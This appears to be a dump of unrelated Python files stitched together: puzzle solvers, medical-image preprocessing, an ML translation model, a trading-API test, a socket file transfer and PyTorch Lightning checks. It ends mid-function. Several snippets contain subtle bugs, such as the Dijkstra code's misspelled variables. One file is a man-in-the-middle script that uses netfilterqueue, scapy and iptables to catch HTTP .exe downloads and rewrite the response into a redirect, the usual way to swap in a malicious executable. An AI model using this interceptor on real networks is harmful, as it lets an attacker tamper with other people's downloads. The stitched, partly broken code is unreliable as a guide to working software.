        best_so_far[cs] = steps
        queue_entries += 1
        lqueue = len(queue)

        if lqueue % 1000 == 0:
            print(len(queue))

        lift_up = lift_on + 1
        lift_down = lift_on - 1

        for i in range(0, len(floors[lift_on])):
            for j in range(i+1, len(floors[lift_on])):
                # try to move stuff up
                if lift_up < 4:
                    new_floors = copy.deepcopy(floors)
                    new_floors[lift_up].append(new_floors[lift_on].pop(j))
                    new_floors[lift_up].append(new_floors[lift_on].pop(i))

                    if valid(new_floors):
                        queue.append((new_floors, lift_up, steps+1))

                # try to move stuff down
                if lift_down >= lowest_with and (floors[lift_on][i][0] == 'M' and floors[lift_on][j][0] == 'M'):
                    new_floors = copy.deepcopy(floors)
                    new_floors[lift_down].append(new_floors[lift_on].pop(j))
                    new_floors[lift_down].append(new_floors[lift_on].pop(i))

                    if valid(new_floors):
                        queue.append((new_floors, lift_down, steps+1))

        # move single elements as well..
        for i in range(0, len(floors[lift_on])):
            if lift_up < 4:
                new_floors = copy.deepcopy(floors)
                new_floors[lift_up].append(new_floors[lift_on].pop(i))

                if valid(new_floors):
                    queue.append((new_floors, lift_up, steps + 1))

            if lift_down >= lowest_with and floors[lift_on][i][0] == 'G':
                new_floors = copy.deepcopy(floors)
                new_floors[lift_down].append(new_floors[lift_on].pop(i))

                if valid(new_floors):
                    queue.append((new_floors, lift_down, steps + 1))

    print("Empty queue - didn't find a valid sequence.")

floor_idx = 0

for line in open("input/dec11_b").readlines():
    line = line.strip()

    mcs = re.findall(' ([a-z]+)-compatible', line)
    gens = re.findall(' ([a-z]+) generator', line)

    for mc in mcs:
        initial_floors[floor_idx].append('M-' + mc)

    for g in gens:
        initial_floors[floor_idx].append('G-' + g)

    floor_idx += 1

print(checksum(0, initial_floors))
print(initial_floors)

step(initial_floors, 0, 0)

for b in best_so_far:
    if b.startswith('0:|1:|2:|3:'):
        print(best_so_far[b])


import numpy as np
import cv2
from PIL import Image
import os
import sys
sys.path.append(os.pardir)
from starter_code.utils import load_case
import shutil
# cd /data/yangkaixing/kits19/data_statistic
# nohup python get_data.py > get_data.log 2>&1 &

people_num = 210
divide_num = int(210 * 0.7)
root_train_img_path = '/data/yangkaixing/kits19/Main/data/images/train'
root_train_label_path = '/data/yangkaixing/kits19/Main/data/labels/train'
root_test_img_path = '/data/yangkaixing/kits19/Main/data/images/test'
root_test_label_path = '/data/yangkaixing/kits19/Main/data/labels/test'

shutil.rmtree(root_train_img_path, ignore_errors=True)
shutil.rmtree(root_train_label_path, ignore_errors=True)
shutil.rmtree(root_test_img_path, ignore_errors=True)
shutil.rmtree(root_test_label_path, ignore_errors=True)
os.makedirs(root_train_img_path, exist_ok=True)
os.makedirs(root_train_label_path, exist_ok=True)
os.makedirs(root_test_img_path, exist_ok=True)
os.makedirs(root_test_label_path, exist_ok=True)

train_txt = '/data/yangkaixing/kits19/Main/data/train.txt'
test_txt = '/data/yangkaixing/kits19/Main/data/test.txt'
train_f = open(train_txt, 'w')
test_f = open(test_txt, 'w')

for i in range(0, people_num):

    volume, segmentation = load_case(i)
    seg_data = np.array(segmentation.get_fdata())
    img_data = np.array(volume.get_fdata())

    for j in range(seg_data.shape[0]):

        kidney_idx = seg_data[j] == 1
        kidney_exist = len(seg_data[j][kidney_idx]) > 0

        if kidney_exist > 0: # 我们只把存在肾的数据图片提取出来

            if i < divide_num:

                # train_img_path = os.path.join(root_train_img_path, str(i))
                # train_label_path = os.path.join(root_train_label_path, str(i))
                # os.makedirs(train_img_path, exist_ok=True)
                # os.makedirs(train_label_path, exist_ok=True)
                img_name = os.path.join(root_train_img_path, '{:0>4d}_{:0>4d}.png'.format(i, j))
                label_name = os.path.join(root_train_label_path, '{:0>4d}_{:0>4d}.npy'.format(i, j))
                train_f.write(img_name + ' ' + label_name + '\n')

            else:

                # test_img_path = os.path.join(root_test_img_path, str(i))
                # test_label_path = os.path.join(root_test_label_path, str(i))
                # os.makedirs(test_img_path, exist_ok=True)
                # os.makedirs(test_label_path, exist_ok=True)
                img_name = os.path.join(root_test_img_path, '{:0>4d}_{:0>4d}.png'.format(i, j))
                label_name = os.path.join(root_test_label_path, '{:0>4d}_{:0>4d}.npy'.format(i, j))
                test_f.write(img_name + ' ' + label_name + '\n')

            img = Image.fromarray(img_data[j]).convert('RGB')
            img.save(img_name)

            one_hot_values= np.eye(3)[seg_data[j].astype(np.uint8)]
            label = np.uint8(one_hot_values)
            np.save(label_name, label)
            # label = (seg_data[j] * (255.0 / 2)).astype(np.uint8)
            # label = Image.fromarray(label)
            # label.save(label_name)

train_f.close()
test_f.close()


from django.urls import path
from .views import *

urlpatterns = [
    path('get_letter/<int:pk>/', get_letter),
    path('get_letters/', get_letters),
    path('get_responses/', get_responses),
    path('create_letter/', create_letter),
    path('create_response/', create_response),
]


import torch
from torch.nn import LSTM, Embedding, Linear, Module, Dropout, LeakyReLU, GRU, LogSoftmax
import json
from torch.optim import SGD, Adam
OPT = {"Adam": Adam, "SGD": SGD}

class MTEncoder(Module):
    """
    this class implements Sentence Encoder
    It's full operation consists of:
        1. get sentences (words are indices)
        2. obtain Embeddings
        3. pass through on directional LSTM
        4. return last layer
    """
    def __init__(self, params, vocab_dim, pad_index):
        super().__init__()
        self._params = params["encoder"] if type(params) is dict else json.load(open(params, "rt"))["encoder"]
        self._embeddings = Embedding(vocab_dim, self._params["embed_dim"], padding_idx=pad_index)   # word embed layer
        self._gru = GRU(self._params["embed_dim"], self._params["hidden_dim"],               # LSTM
                        self._params["num_layers"], dropout=self._params["dropout"], batch_first=True,
                        bidirectional=True)
        self._dropout = Dropout(p=self._params["dropout"])

    def forward(self, words_embed):
        """
        :param words_embed: word indices batch
        :return: sentence representation vector
        """
        x = self._dropout(self._embeddings(words_embed))
        output_seq, hidden_seq = self._gru(x)
        return output_seq

class MTDecoder(Module):
    """
    this class implements Sentence Decoder - it generates a new sentence given a context vector
    It's full operation consists of:
        1. get context vector
        2. init hidden vector
        3. loop
            3.1 predict next word using the hidden and context vectors
            3.2 update hidden vector
            3.3 save prediction and continue
    """
    def __init__(self, params, vocab_dim, start_index, context_dim):
        super().__init__()
        self._params = params["decoder"] if type(params) is dict else json.load(open(params, "rt"))["decoder"]

        self._embeddings = Embedding(vocab_dim, self._params["embed_dim"])                          # word embed layer
        self._lstm = LSTM(self._params["embed_dim"] + context_dim,                                  # LSTM layers
                          self._params["hidden_dim"], self._params["num_layers"],
                          dropout=self._params["dropout"], batch_first=True)
        self._out_dim = vocab_dim
        self._linear = Linear(self._params["hidden_dim"], vocab_dim)                           # Linear layer
        self._start = start_index
        self._dropout = Dropout(p=self._params["dropout"])
        self._softmax = LogSoftmax(dim=2)

    def forward(self, context, max_len, target=None, criterion=None):
        """
        :param context: context vector batch
        :param max_len: the function will create sequences of length max_len
        :return: generated sequences
        """
        context = self._dropout(context)
        x = torch.ones((context.shape[0], 1)).long() * self._start                     # init start vector
        hidden = None                                                                  # init hidden vector, and out
        out = torch.zeros((context.shape[0], max_len, self._out_dim))
        loss = 0
        for i in range(max_len):
            ex = self._embeddings(x)                                                   # obtain embeddings of last word
            # concat last word and context vectors and pass through LSTM
            lstm_input = torch.cat((ex, context.unsqueeze(dim=1)), dim=2)
            output_seq, hidden = self._lstm(lstm_input, hidden)
            word_distribution = self._softmax(self._linear(output_seq))         # predict next word distribution

            loss += criterion(word_distribution, target[:, i].unsqueeze(dim=0)) if criterion is not None else 0

            out[:, i, :] = word_distribution.squeeze(dim=1)
            x = word_distribution.argmax(dim=2).detach() if target is None else target[:, i].unsqueeze(dim=1)
        return out, loss

class MTEncoderDecoder(Module):
    def __init__(self, params, start_index, sourcee_pad, source_vocab_dim, target_vocab_dim):
        """
        this class implements a Full Machine Translation Model based on Encoder-Decoder architecture
        It's full operation consists of:
            1. Encode - obtain context vector for source sentence
            2. Decode = generate new sentence by the context vector
        """
        # super(MTEncoderDecoder, self).__init__()
        super().__init__()
        self._params = params if type(params) is dict else json.load(open(params, "rt"))
        self._encoder = MTEncoder(params, source_vocab_dim, sourcee_pad)
        self._decoder = MTDecoder(params, target_vocab_dim, start_index, 4 * self._params["encoder"]["hidden_dim"])
        # self.set_optimizer(self._params["optimizer"])

    def set_optimizer(self, opt_params):
        return OPT[opt_params["type"]](self.parameters(), **opt_params["kwargs"])

    def forward(self, word_embed, target=None, criterion=None):
        """
        :param word_embed: bach of source sentences
        :return: new generated sentence (word distribution)
        """

        context = self._encoder(word_embed)
        context = torch.cat([context[:, 0, :], context[:, -1, :]], dim=1)  # first and last hidden
        max_len = 2 * word_embed.shape[1] if target is None else word_embed.shape[1] - 1
        generated, loss = self._decoder(context, max_len=max_len, target=target, criterion=criterion)
        return generated, loss

def sanity_test():
    from dataset import MTDataset
    from torch.utils.data import DataLoader
    train = MTDataset("../data/train.src", "../data/train.trg")
    model = MTEncoderDecoder("sample_params.json", train.target_start_index, train.source_pad_index,
                             train.len_source_vocab, train.len_target_vocab)

    dl = DataLoader(train,
                    num_workers=4,
                    shuffle=True,
                    batch_size=64,
                    collate_fn=train.collate_fn)

    for src_, dst_ in dl:
        print(model(src_, target=dst_))

if __name__ == '__main__':
    sanity_test()


import math

class HighScoreTable:
    def __init__(self, limit, scores):
        self.limit = limit
        self.scores = scores

    def update(self, player_score):
        compare_scores_list = self.scores

        if len(compare_scores_list) < self.limit:
            self.scores.append(player_score)

        else:
            for player in compare_scores_list:
                if player_score['score'] > player['score']:
                    compare_scores_list.append(player_score)
                    break
                else:
                    self.scores = compare_scores_list
        compare_scores_list = sorted(compare_scores_list, key=lambda person: person['score'], reverse=True)
        compare_scores_list = compare_scores_list[0:self.limit]
        self.scores = compare_scores_list

    def average_score(self):
        average = 0
        for score in self.scores:
            average += math.ceil(score['score'] / len(self.scores))
        return average

    def highest_scorer(self):
        try:
            return self.scores[0]
        # except Exception as error:
        #     return error
        except IndexError:
            return 'there are no high scores in scores'

    def lowest_scorer(self):
        try:
            return self.scores[len(self.scores) - 1]
        except IndexError as error:
            return 'there are no high scores in scores'

    def reset(self):
        try:
            list_is_not_empty = self.scores[1]
            self.scores.clear()
        except IndexError:
            return 'unable to reset as there are no high scores'

# errors are exceptions
# BaseException
#     Exception

# TypeError
# SyntaxError
# IndexError

# .catch(error)
#     console.log(error)
#     404


#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import os

acknowledge_list = []

def setting_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksm
    del packet[scapy.TCP].len
    del packet[scapy.TCP].chksm
    return packet

def process_packet(packet):
    # converting the packet into a scapy packet for modification
    pkt_scapy = scapy.IP(packet.get_payload())
    # to check whether a packet contains the HTTP layer or not
    if pkt_scapy.haslayer(scapy.Raw):
        # checking if the destination port is 80, it means that the packet is leaving from our computer and going towards the http port
        if pkt_scapy[scapy.TCP].dport == 80:
            # to check whether there is any exe file in the load field
            if ".exe" in pkt_scapy[scapy.Raw].load:
                print("[*] exe Request")
                acknowledge_list.append(pkt_scapy[scapy.TCP].ack)

       # checking if the source port is 80, it means this packet is leaving from the http port
        elif pkt_scapy(scapy.TCP).sport == 80:
            if pkt_scapy[scapy.TCP].seq in acknowledge_list:
                acknowledge_list.remove(pkt_scapy[scapy.TCP].seq)
                print("[*] Replacing File ")
                modified = setting_load(pkt_scapy, "HTTP/1.1 301 Moved Permanently\nLocation: http://www.example.org/index.asp\n\n")

                packet.set_payload(str(modified))

    packet.accept()

QUEUE_NUM = 0
# insert the iptables FORWARD rule
# os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
os.system("iptables -I OUTPUT -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
os.system("iptables -I INPUT -j NFQUEUE --queue-num {}".format(QUEUE_NUM))

# instantiate the netfilter queue
queue = netfilterqueue.NetfilterQueue()

try:
    # bind the queue number to our callback `process_packet`
    # and start it
    queue.bind(QUEUE_NUM, process_packet)
    queue.run()
except KeyboardInterrupt:
    # if want to exit, make sure we
    # remove that rule we just inserted, going back to normal.
    os.system("iptables --flush")
finally:
    os.system("iptables --flush")


class Solution(object):
    def findOrder(self, numCourses, prerequisites):
        """
        :type numCourses: int
        :type prerequisites: List[List[int]]
        :rtype: List[int]
        """
        adj = [[] for i in range(numCourses)]
        self.create_adj_list(prerequisites, adj)
        visited = [0 for i in range(numCourses)]
        ans = []
        for node in range(numCourses):
            if (visited[node] == 0):
                rec_set = set()
                # if cycle, return empty list
                if (self.dfs(adj, node, ans, rec_set, visited) < 0):
                    return []

        return ans

    # do topological sort via DFS and store in ans; return -1 if cycle
    def dfs(self, adj, node, ans, rec_set, visited):
        visited[node] = 1
        rec_set.add(node)
        for neighbor in adj[node]:
            if (neighbor in rec_set):
                return -1
            if (visited[neighbor] == 0):
                if (self.dfs(adj, neighbor, ans, rec_set, visited) < 0):
                    return -1

        ans.append(node)
        rec_set.remove(node)
        return 0

    def create_adj_list(self, edges, adj):
        for edge in edges:
            adj[edge[0]].append(edge[1])


def Dj(G,a):
    first_entry = (0,a)
    heap = [first_entry]
    dist_so_far = {a:first_entry}
    final_dist = {}
    location ={first_entry:0}
    while len(dist_so_far)>0:
        dist,node = heap_pop_min(heap,location)
        final_dist[node] = dist
        del dist_so_far[node]
        for x in G[node]:
            if x in final_dist:
                continue
            new_dist = G[node][x] + final_dist[node][0]
            new_entry = (new_dist,x)
            if x not in dist_so_far:
                insert_heap(heap,new_entry,location)
                dist_so_far[x] = new_entry
            elif new_entry < dis_so_far[x]:
                decrease_val(heap,location,dist_so_far[x],new_entry)
                dist_so_far[x] = new_entry
    return final_list

def left(i):  return 2*i + 1
def right(i): return 2*i + 2.

def swap(heap, old, new, location):
    location[heap[old]] = new
    location[heap[new]] = old
    (heap[old], heap[new]) = (heap[new], heap[old])

def down_heap(heap,i,location):
    while True:
        l = left(i)
        r = right(i)
        if l > len(heap):
            break
        lv = heap[l][0]
        iv = heap[i][0]

        if r == len(heap):
            if iv>lv:
                swap(heap,i,l,location)
            break
        rv = heap[r][0]
        if min(rv,lv) >= iv:
            break
        if lv<rv:
            swap(heap,i,l,location)
            i = l
        else:
            swap(heap,i,r,location)
            i = r

def up_heap(heap,i,location):
    while i>0:
        p = (i-1)/2
        if heap[i][0]<heap[p][0]:
            swap(heap,i,p,location)
            i=p
        else:
            break

def heap_pop_min(heap,location):
    v = heap[0]
    new_top = heap.pop()
    heap[0] = new_top
    location[v] = None
    if len(heap) == 0:
        return v
    location[new_top] = 0
    down_heap(heap,0,location)
    return v

def insert_heap(heap,v,location):
    heap.append(v)
    location[v] = len(heap) -1
    up_heap(heap, location[v], location)

def decrease_val(heap,locatino,old_val,new_val):
    i = location[old_val]
    heap[i] = new_val
    location[old_val] = None
    location[new_val] = i
    up_heap(heap,i,location)


import asyncio

import beeprint
from loguru import logger

from BinanceAsyncWebsocket import BinanceWs
import asyncUnittest
from asyncUnittest import AsyncTestCase
import ccxt.async_support as ccxt
import os
import json

if os.path.exists(os.path.join(os.path.dirname(__file__), 'key_secret.json')):
    with open('key_secret.json') as f:
        key_secret = json.load(f)
        test_apikey = key_secret['apikey']
        test_secret = key_secret['secret']
else:
    test_apikey = input('Test apikey，或者在同文件夹下放入文件key_secret.json,包含apikey和secret字典:')
    test_secret = input('Test secret:')

class TestOrder(AsyncTestCase):
    enable_test = 1
    aws: BinanceWs = None
    bn: ccxt.binance = None

    @classmethod
    async def setUpClass(cls):
        cls.aws = BinanceWs(test_apikey)
        cls.bn = ccxt.binance({
            "apiKey": test_apikey,
            "secret": test_secret, }
        )

    @classmethod
    async def tearDownClass(cls) -> None:
        bn_exit_task = asyncio.create_task(cls.bn.close())
        aws_exit_task = asyncio.create_task(cls.aws.exit())
        try:
            await bn_exit_task
        except:
            pass
        try:
            await aws_exit_task
        except:
            pass

    async def test_huge_order_messages(self):
        '''
        超量订单信息测试

        :return:
        '''
        order_num = 10
        price = int((await type(self).bn.fetch_order_book('BTC/USDT'))['bids'][0][0] * 0.8)

        async def open_orders():
            await asyncio.sleep(5)
            [asyncio.create_task(type(self).bn.create_order('BTC/USDT', 'limit', 'buy', 0.001, price))
             for _ in range(order_num)]

        asyncio.create_task(open_orders())

        all_order_stream = type(self).aws.order_stream()
        n = 0
        ids = set()
        async for msg in all_order_stream:
            if msg['x'] == 'NEW' and float(msg['p']) == price and msg['o'] == 'LIMIT' and msg['s'] == "BTCUSDT" and \
                    float(msg['q']) == 0.001:
                ids.add(msg['i'])
                n += 1
                if n >= order_num:
                    break
        [asyncio.create_task(type(self).bn.cancel_order(order_id, 'BTC/USDT'))
         for order_id in ids]
        async for msg in all_order_stream:
            if msg['x'] == 'CANCELED' and float(msg['p']) == price and msg['o'] == 'LIMIT' and msg['s'] == "BTCUSDT" and \
                    float(msg['q']) == 0.001:
                n -= 1
                if n <= 0:
                    break
        await all_order_stream.close()

if __name__ == '__main__':
    asyncUnittest.run()


import socket

def send_file(location, target):
        file = open(location, "rb")

        packet = file.read(64)
        while (len(packet) != 0):
                packet = file.read(64)

                target.send(packet)

        target.close()
        file.close()

def recv_file(location,target):
        filename = input("recv the file as")
        file = open(location + filename, "wb")

        while True:
                data = target.recv(64)

                if (len(data) < 64):
                        break

                file.write(data)

        file.close()
        target.close()
if __name__ == "__main__":
        ip_address = input("enter the IP address")
        port = int (input ("enter the port numbre"))

        target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        choice = input ("the node is: ")
        if (choice == "reciever"):
                target.bind((ip_address, port))
                target.listen(1)
                client, address = target.accept()

                location = input("enter the location: ")

                send_file(location, client)

        elif (choice == "client"):
                target.connect((ip_address, port))
                recv_file(location, target)


import inspect

import pytorch_lightning as pl
from lightning_fabric.utilities.warnings import PossibleUserWarning
from pytorch_lightning.accelerators.ipu import IPUAccelerator
from pytorch_lightning.loggers import Logger
from pytorch_lightning.strategies import DataParallelStrategy
from pytorch_lightning.trainer.states import TrainerFn
from pytorch_lightning.utilities.exceptions import MisconfigurationException
from pytorch_lightning.utilities.model_helpers import is_overridden
from pytorch_lightning.utilities.rank_zero import rank_zero_warn
from pytorch_lightning.utilities.signature_utils import is_param_in_hook_signature

def verify_loop_configurations(trainer: "pl.Trainer") -> None:
    r"""
    Checks that the model is configured correctly before the run is started.

    Args:
        trainer: Lightning Trainer. Its `lightning_module` (the model) to check the configuration.

    """
    model = trainer.lightning_module

    if trainer.state.fn is None:
        raise ValueError("Unexpected: Trainer state fn must be set before validating loop configuration.")
    if trainer.state.fn == TrainerFn.FITTING:
        __verify_train_val_loop_configuration(trainer, model)
        __verify_manual_optimization_support(trainer, model)
        __check_training_step_requires_dataloader_iter(model)
    elif trainer.state.fn == TrainerFn.VALIDATING:
        __verify_eval_loop_configuration(model, "val")
    elif trainer.state.fn == TrainerFn.TESTING:
        __verify_eval_loop_configuration(model, "test")
    elif trainer.state.fn == TrainerFn.PREDICTING:
        __verify_eval_loop_configuration(model, "predict")

    __verify_batch_transfer_support(trainer)
    # TODO: Delete this check in v2.0
    _check_deprecated_callback_hooks(trainer)
    # TODO: Delete this check in v2.0
    _check_on_epoch_start_end(model)
    # TODO: Delete this check in v2.0
    _check_on_pretrain_routine(model)
    # TODO: Delete this check in v2.0
    _check_deprecated_logger_methods(trainer)
    # TODO: Delete this check in v2.0
    _check_unsupported_datamodule_hooks(trainer)

def __verify_train_val_loop_configuration(trainer: "pl.Trainer", model: "pl.LightningModule") -> None:
    # -----------------------------------
    # verify model has a training step
    # -----------------------------------
    has_training_step = is_overridden("training_step", model)
    if not has_training_step:
        raise MisconfigurationException(
            "No `training_step()` method defined. Lightning `Trainer` expects as minimum a"
            " `training_step()`, `train_dataloader()` and `configure_optimizers()` to be defined."
        )

    # -----------------------------------
    # verify model has optimizer
    # -----------------------------------
    has_optimizers = is_overridden("configure_optimizers", model)
    if not has_optimizers:
        raise MisconfigurationException(
            "No `configure_optimizers()` method defined. Lightning `Trainer` expects as minimum a"
            " `training_step()`, `train_dataloader()` and `configure_optimizers()` to be defined."
        )

    overridden_optimizer_step = is_overridden("optimizer_step", model)
    overridden_optimizer_zero_grad = is_overridden("optimizer_zero_grad", model)
    automatic_optimization = model.automatic_optimization
    going_to_accumulate_grad_batches = trainer.accumulation_scheduler.going_to_accumulate_grad_batches()

    has_overridden_optimization_functions = overridden_optimizer_step or overridden_optimizer_zero_grad
    if has_overridden_optimization_functions and going_to_accumulate_grad_batches and automatic_optimization:
        rank_zero_warn(
            "When using `Trainer(accumulate_grad_batches != 1)` and overriding"
            " `LightningModule.optimizer_{step,zero_grad}`, the hooks will not be called on every batch"
            " (rather, they are called on every optimization step)."
        )

    # -----------------------------------
    # verify model for val loop
    # -----------------------------------

    has_val_loader = trainer._data_connector._val_dataloader_source.is_defined()
    has_val_step = is_overridden("validation_step", model)

    if has_val_loader and not has_val_step:
        rank_zero_warn("You passed in a `val_dataloader` but have no `validation_step`. Skipping val loop.")
    if has_val_step and not has_val_loader:
        rank_zero_warn(
            "You defined a `validation_step` but have no `val_dataloader`. Skipping val loop.",
            category=PossibleUserWarning,
        )

def __verify_eval_loop_configuration(model: "pl.LightningModule", stage: str) -> None:
    step_name = "validation_step" if stage == "val" else f"{stage}_step"
    trainer_method = "validate" if stage == "val" else stage

    has_step = is_overridden(step_name, model)

    # predict_step is not required to be overridden
    if stage == "predict":
        if model.predict_step is None:
            raise MisconfigurationException("`predict_step` cannot be None to run `Trainer.predict`")
        elif not has_step and not is_overridden("forward", model):
            raise MisconfigurationException("`Trainer.predict` requires `forward` method to run.")
    else:
        # -----------------------------------
        # verify model has an eval_step
        # -----------------------------------
        if not has_step:
            raise MisconfigurationException(f"No `{step_name}()` method defined to run `Trainer.{trainer_method}`.")

def __verify_batch_transfer_support(trainer: "pl.Trainer") -> None:
    """Raise Misconfiguration exception since these hooks are not supported in DP mode."""
    batch_transfer_hooks = ("transfer_batch_to_device", "on_after_batch_transfer")
    datahook_selector = trainer._data_connector._datahook_selector
    assert datahook_selector is not None

    for hook in batch_transfer_hooks:
        # TODO: Remove this blocker once batch transfer to device is integrated in Lightning for DP mode.
        if isinstance(trainer.strategy, DataParallelStrategy) and (
            is_overridden(hook, datahook_selector.model) or is_overridden(hook, datahook_selector.datamodule)
        ):
            raise MisconfigurationException(f"Overriding `{hook}` is not supported in DP mode.")

        if isinstance(trainer.accelerator, IPUAccelerator) and (
            is_overridden(hook, datahook_selector.model) or is_overridden(hook, datahook_selector.datamodule)
        ):
            raise MisconfigurationException(f"Overriding `{hook}` is not supported with IPUs.")

def __verify_manual_optimization_support(trainer: "pl.Trainer", model: "pl.LightningModule") -> None:
    if model.automatic_optimization:
        return
    if trainer.gradient_clip_val is not None and trainer.gradient_clip_val > 0:
        raise MisconfigurationException(
            "Automatic gradient clipping is not supported for manual optimization."
            f" Remove `Trainer(gradient_clip_val={trainer.gradient_clip_val})`"
            " or switch to automatic optimization."
        )
    if trainer.accumulate_grad_batches != 1:
        raise MisconfigurationException(
            "Automatic gradient accumulation is not supported for manual optimization."
            f" Remove `Trainer(accumulate_grad_batches={trainer.accumulate_grad_batches})`"
            " or switch to automatic optimization."
        )

def __check_training_step_requires_dataloader_iter(model: "pl.LightningModule") -> None:
    """Check if the current `training_step` is requesting `dataloader_iter`."""
    if is_param_in_hook_signature(model.training_step, "dataloader_iter", explicit=True):
        for hook in ("on_train_batch_start", "on_train_batch_end"):
            if is_overridden(hook, model):
                rank_zero_warn(
                    f"The `batch_idx` argument in `{type(model).__name__}.{hook}` hook may"
                    " not match with the actual batch index when using a `dataloader_iter`"
                    " argument in your `training_step`."
                )

        if model.truncated_bptt_steps > 0:
            raise MisconfigurationException(
                "The model taking a `dataloader_iter` argument in your `training_step` "
                "is incompatible with `truncated_bptt_steps > 0`."
            )

def _check_on_epoch_start_end(model: "pl.LightningModule") -> None:
    hooks = (
        ("on_epoch_start", "on_<train/validation/test>_epoch_start"),
        ("on_epoch_end", "on_<train/validation/test>_epoch_end"),
    )

    for hook, alternative_hook in hooks:
        if callable(getattr(model, hook, None)):
            raise RuntimeError(
                f"The `LightningModule.{hook}` hook was removed in v1.8. Please use"
                f" `LightningModule.{alternative_hook}` instead."
            )

def _check_on_pretrain_routine(model: "pl.LightningModule") -> None:
    hooks = (("on_pretrain_routine_start", "on_fit_start"), ("on_pretrain_routine_end", "on_fit_start"))
    for hook, alternative_hook in hooks:
        if callable(getattr(model, hook, None)):
            raise RuntimeError(
                f"The `LightningModule.{hook}` hook was removed in v1.8. Please use"
                f" `LightningModule.{alternative_hook}` instead."
            )

def _check_deprecated_callback_hooks(trainer: "pl.Trainer") -> None:
    for callback in trainer.callbacks:
        if callable(getattr(callback, "on_init_start", None)):
            raise RuntimeError(
                "The `on_init_start` callback hook was deprecated in v1.6 and is no longer supported as of v1.8."
            )
        if callable(getattr(callback, "on_init_end", None)):
            raise RuntimeError(
                "The `on_init_end` callback hook was deprecated in v1.6 and is no longer supported as of v1.8."
            )
        if callable(getattr(callback, "on_configure_sharded_model", None)):
            raise RuntimeError(
                "The `on_configure_sharded_model` callback hook was removed in v1.8. Use `setup()` instead."
            )
        if callable(getattr(callback, "on_before_accelerator_backend_setup", None)):
            raise RuntimeError(
                "The `on_before_accelerator_backend_setup` callback hook was removed in v1.8. Use `setup()` instead."
            )

        has_legacy_argument = "callback_state" in inspect.signature(callback.on_load_checkpoint).parameters
        if is_overridden(method_name="on_load_checkpoint", instance=callback) and has_legacy_argument:
            # TODO: Remove this error message in v2.0
            raise RuntimeError(
                f"`{callback.__class__.__name__}.on_load_checkpoint` has changed its signature and behavior in v1.8."
                " If you wish to load the state of the callback, use `load_state_dict` instead."
                " As of 1.8, `on_load_checkpoint(..., checkpoint)` receives the entire loaded"
                " checkpoint dictionary instead of the callback state. To continue using this hook and avoid this error"
                " message, rename the `callback_state` argument to `checkpoint`."
            )

        for hook, alternative_hook in (
            ["on_batch_start", "on_train_batch_start"],
            ["on_batch_end", "on_train_batch_end"],
        ):
            if callable(getattr(callback, hook, None)):
                raise RuntimeError(
                    f"The `Callback.{hook}` hook was removed in v1.8. Please use `Callback.{alternative_hook}` instead."
                )
        for hook, alternative_hook in (
            ["on_epoch_start", "on_<train/validation/test>_epoch_start"],
            ["on_epoch_end", "on_<train/validation/test>_epoch_end"],
        ):
            if callable(getattr(callback, hook, None)):
                raise RuntimeError(
                    f"The `Callback.{hook}` hook was removed in v1.8. Please use `Callback.{alternative_hook}` instead."
                )
        for hook in ("on_pretrain_routine_start", "on_pretrain_routine_end"):
            if callable(getattr(callback, hook, None)):
                raise RuntimeError(
                    f"The `Callback.{hook}` hook was removed in v1.8. Please use `Callback.on_fit_start` instead."
                )

def _check_deprecated_logger_methods(trainer: "pl.Trainer") -> None:
    for logger in trainer.loggers:
        if is_overridden(method_name="update_agg_funcs", instance=logger, parent=Logger):
            raise RuntimeError(
                f"`{type(logger).__name__}.update_agg_funcs` was deprecated in v1.6 and is no longer supported as of"
                " v1.8."
            )
        if is_overridden(method_name="agg_and_log_metrics", instance=logger, parent=Logger):
            raise RuntimeError(
                f"`{type(logger).__name__}.agg_and_log_metrics` was deprecated in v1.6 and is no longer supported as of"
                " v1.8."
            )

def _check_unsupported_datamodule_hooks(trainer: "pl.Trainer") -> None:
    datahook_selector = trainer._data_connector._datahook_selector
    assert datahook_selector is not None

    if is_overridden("on_save_checkpoint", datahook_selector.datamodule):
        raise NotImplementedError(
            "`LightningDataModule.on_save_checkpoint` was deprecated in v1.6 and is no longer supported as of v1.8."
            " Use `state_dict` instead."
        )
    if is_overridden("on_load_checkpoint", datahook_selector.datamodule):
        raise NotImplementedError(
            "`LightningDataModule.on_load_checkpoint` was deprecated in v1.6 and is no longer supported as of v1.8."
            " Use `load_state_dict` instead."
        )


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import pickle

from typing import Tuple

OUT_PATH = 'C:/Users/thmas/OneDrive - Universidad de Castilla-La Mancha/Informática/TFG/out/'

def getBoxPlot(df: pd.DataFrame) -> plt.Figure:
    df[['h' + str(i) for i in range(24)]] = df.apply(lambda x: x[-1], axis=1, result_type='expand')
    df = df.drop(['building_id', 'weekday', 'active', 'type', 'consumptions'], axis=1)

    fig = plt.figure()
    ax = fig.add_subplot(1,1,1)

    df.plot(kind='box', figsize=(12,10), ax=ax)
    df.mean().plot(ax=ax, color='red')

    return fig

def get_prototype(df: pd.DataFrame) -> Tuple[pd.DataFrame, pd.DataFrame]:
    weekday = df['weekday'].iloc[0]
    active = df['active'].iloc[0]
    consumer_type = df['type'].iloc[0]

    mean, std = [], []
    for i in range(24):
        i_consumptions = []
        for j in range(df.shape[0]):
            i_consumptions.append(df['consumptions'].iloc[j][i])    # i_consumptions correspond to the ith hour

        std.append(np.nanstd(i_consumptions))
        mean.append(np.nanmean(i_consumptions))

    return pd.DataFrame({'weekday': weekday, 'active': active, 'type': consumer_type, 'consumptions': [mean]}), pd.DataFrame({'weekday': weekday, 'active': active, 'type': consumer_type, 'consumptions': [std]})

if __name__ == '__main__':
    raw_df = pd.read_pickle(OUT_PATH + 'consumptions.zip')

    mean_proto, std_proto = pd.DataFrame(), pd.DataFrame()
    for d in range(0, 7):
        df = raw_df[raw_df['weekday'] == d]

        for a in (True, False):
            df_a = df[df['active'] == a]

            for t in df_a['type'].unique():
                mean, std = get_prototype(df_a[df_a['type'] == t])

                mean_proto = mean_proto.append(mean, ignore_index=True)
                std_proto = std_proto.append(std, ignore_index=True)

    mean_proto.to_pickle(OUT_PATH + 'prototypesMEAN.zip', compression='zip'), std_proto.to_pickle(OUT_PATH + 'prototypesSTD.zip', compression='zip')


#coding:utf8
'''
Created on 2013-10-25

@author: lan (www.9miao.com)
'''
from app.game.core.PlayersManager import PlayersManager

def roleInfo(dynamicId,characterId):
